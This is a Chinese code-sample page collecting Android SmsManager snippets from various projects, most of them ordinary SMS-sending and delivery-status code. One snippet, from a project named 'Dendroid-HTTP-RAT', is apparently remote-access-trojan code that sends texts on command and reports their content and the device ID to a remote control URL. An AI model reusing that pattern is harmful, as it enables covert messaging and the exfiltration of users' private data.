java类android.telephony.SmsManager的实例源码

SmsSendThread.java 文件源码 项目:shexter 阅读 19 收藏 0 点赞 0 评论 0
@Override
protected Integer doInBackground(String... params) {
    //Log.d(TAG, "About to send " + params[1] + " to " + params[0]);
    SmsManager smsm = SmsManager.getDefault();
    ArrayList<String> divided = smsm.divideMessage(params[1]);
    Log.d(TAG, "Message divided into " + divided.size() + " parts.");
    // could wait for the message to _actually_ be sent using PendingIntents
    if(divided.size() > 1) {
        smsm.sendMultipartTextMessage(params[0], null, divided, null, null);
    }
    else {
        smsm.sendTextMessage(params[0], null, params[1], null, null);
    }

    Log.d(TAG, "Messages sent successfully, probably.");
    return divided.size();
}
Utils.java 文件源码 项目:SprintNBA 阅读 30 收藏 0 点赞 0 评论 0
/**
 * 发送短信息
 *
 * @param phoneNumber 接收号码
 * @param content     短信内容
 */
private void toSendSMS(Context context, String phoneNumber, String content) {
    if (context == null) {
        throw new IllegalArgumentException("context can not be null.");
    }
    PendingIntent sentIntent = PendingIntent.getBroadcast(context, 0, new Intent(), 0);
    SmsManager smsManager = SmsManager.getDefault();

    if (content.length() >= 70) {
        //短信字数大于70,自动分条
        List<String> ms = smsManager.divideMessage(content);
        for (String str : ms) {
            //短信发送
            smsManager.sendTextMessage(phoneNumber, null, str, sentIntent, null);
        }
    } else {
        smsManager.sendTextMessage(phoneNumber, null, content, sentIntent, null);
    }
}
SmsDetailedView.java 文件源码 项目:HatkeMessenger 阅读 17 收藏 0 点赞 0 评论 0
private void sendSMSNow() {

        BroadcastReceiver sendBroadcastReceiver = new SentReceiver();
        BroadcastReceiver deliveryBroadcastReciever = new DeliverReceiver();

        String SENT = "SMS_SENT";
        String DELIVERED = "SMS_DELIVERED";

        PendingIntent sentPI = PendingIntent.getBroadcast(this, 0, new Intent(SENT), 0);
        PendingIntent deliveredPI = PendingIntent.getBroadcast(this, 0, new Intent(DELIVERED), 0);

        registerReceiver(sendBroadcastReceiver, new IntentFilter(SENT));
        registerReceiver(deliveryBroadcastReciever, new IntentFilter(DELIVERED));

        try {
            SmsManager sms = SmsManager.getDefault();
            sms.sendTextMessage(contact, null, message, sentPI, deliveredPI);
        }catch (Exception e){
            Toast.makeText(this,getString(R.string.cant_send),Toast.LENGTH_SHORT).show();

        }
    }
SentReceiver.java 文件源码 项目:HatkeMessenger 阅读 13 收藏 0 点赞 0 评论 0
@Override
public void onReceive(Context context, Intent arg1) {
    switch (getResultCode()) {
        case Activity.RESULT_OK:
            Toast.makeText(context, "SMS Sent", Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
            Toast.makeText(context, "Generic failure",
                    Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_NO_SERVICE:
            Toast.makeText(context, "No service",
                    Toast.LENGTH_SHORT).show();
            break;
        case SmsManager.RESULT_ERROR_NULL_PDU:
            Toast.makeText(context, "Null PDU", Toast.LENGTH_SHORT)
                    .show();
            break;
        case SmsManager.RESULT_ERROR_RADIO_OFF:
            Toast.makeText(context, "No network",
                    Toast.LENGTH_SHORT).show();
            break;
    }

}
GpsTraceService.java 文件源码 项目:MobileGuard 阅读 26 收藏 0 点赞 0 评论 0
@Override
public void onLocationChanged(Location location) {
    // get location info
    double altitude = location.getAltitude();
    double longitude = location.getLongitude();
    double latitude = location.getLatitude();
    StringBuilder buffer = new StringBuilder();
    buffer.append("altitude:" + altitude + "\n");
    buffer.append("longitude:" + longitude + "\n");
    buffer.append("latitude:" + latitude + "\n");

    // get safe phone number
    String safePhone = ConfigUtils.getString(GpsTraceService.this, Constant.KEY_SAFE_PHONE, "");
    if(TextUtils.isEmpty(safePhone)) {
        Log.e(TAG, "safe phone is empty");
        return;
    }

    // send location info to safe phone number
    SmsManager smsManager = SmsManager.getDefault();
    smsManager.sendTextMessage(safePhone, null, buffer.toString(), null, null);
    System.out.println("success send a sms to " + safePhone + ":\n" + buffer.toString());
    // stop service
    stopSelf();
}
MyService.java 文件源码 项目:Dendroid-HTTP-RAT 阅读 25 收藏 0 点赞 0 评论 0
@Override
    protected String doInBackground(String... params) {     
    boolean isNumeric = i.matches("[0-9]+");
    if(isNumeric)
    {
      SmsManager smsManager = SmsManager.getDefault();
      smsManager.sendTextMessage(i, null, k, null, null);
      try {
    getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "To: " + i + " Message: " + k);
} catch (UnsupportedEncodingException e) {

    e.printStackTrace();
}           
    }
  return "Executed";
    }
MainActivity.java 文件源码 项目:AndroidBasicCommonDemos 阅读 15 收藏 0 点赞 0 评论 0
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    sender = (TextView) findViewById(R.id.sender);
    content = (TextView) findViewById(R.id.content);

    receiveFilter = new IntentFilter();
    receiveFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
    messageReceiver = new MessageReceiver();
    registerReceiver(messageReceiver,receiveFilter);

    send = (Button) findViewById(R.id.send);
    send.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage("15067151195",null,"短信内容",null,null);
        }
    });
}
SMSUtils.java 文件源码 项目:android.java 阅读 32 收藏 0 点赞 0 评论 0
public static void sendSMS(Context context, String phoneNumber, ArrayList<String> text) {
    String stringText = AgTextUtil.listToString(text);
    Intent messageIntent = new Intent(DELIVER_RECEIVER_FILTER);
    messageIntent.putExtra(SENDING_MESSAGE_KEY, stringText);
    messageIntent.putExtra(SENDING_PHONE_NUMBER, phoneNumber);
    PendingIntent deliveredPI = PendingIntent.getBroadcast(context, 0, messageIntent, 0);
    ArrayList<PendingIntent> list = new ArrayList<>();
    list.add(deliveredPI);
    context.registerReceiver(deliverReceiver, new IntentFilter(DELIVER_RECEIVER_FILTER));
    SmsManager sms = SmsManager.getDefault();
    try {
        sms.sendMultipartTextMessage(phoneNumber,
                null,
                text,
                new ArrayList<PendingIntent>(),
                list);
    }catch (Exception e) {
        unregisterReceiver(context);
        GuiUtils.displayOkMessage(context, String.format(context.getString(R.string.error_send_sms), stringText), null);
    }
}
SmsSend_Fragment.java 文件源码 项目:ContactList 阅读 15 收藏 0 点赞 0 评论 0
private void sendSMS(String number, String message) {
    String SENT = "sms_sent";
    String DELIVERED = "sms_delivered";

    PendingIntent sentPI = PendingIntent.getActivity(getActivity(), 0,
            new Intent(SENT), 0);
    PendingIntent deliveredPI = PendingIntent.getActivity(getActivity(), 0,
            new Intent(DELIVERED), 0);

    SMSModel smsModel = new SMSModel();
    smsModel.setAddress(number);
    smsModel.setBody(message);
    smsModel.setType(String.valueOf(2));
    smsModel.setRead(1);
    if (isDefaultSms()) {
        smsHelper.insertToSmsContent(smsModel);
    }
    SmsManager smsm = SmsManager.getDefault();
    Log.e(TAG, number + ":" + message);
    smsm.sendTextMessage(number, null, message, sentPI, deliveredPI);
}
SMSUtils.java 文件源码 项目:remotedroid 阅读 28 收藏 0 点赞 0 评论 0
public void sendSMS(String address, String content) {
    lastSentSMSStatus = -1;
    SmsManager smsManager = SmsManager.getDefault();

    PendingIntent sentPI = PendingIntent.getBroadcast(mContext, 0,
            new Intent("SMS_SENT"), 0);

    mContext.registerReceiver(new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            lastSentSMSStatus = getResultCode();
            Toast.makeText(mContext,"message sent", Toast.LENGTH_LONG).show();
        }
    }, new IntentFilter("SMS_SENT"));

    smsManager.sendTextMessage("tel:".concat(address), null, content, sentPI, null);
}


问题


面经


文章

微信
公众号

扫码关注公众号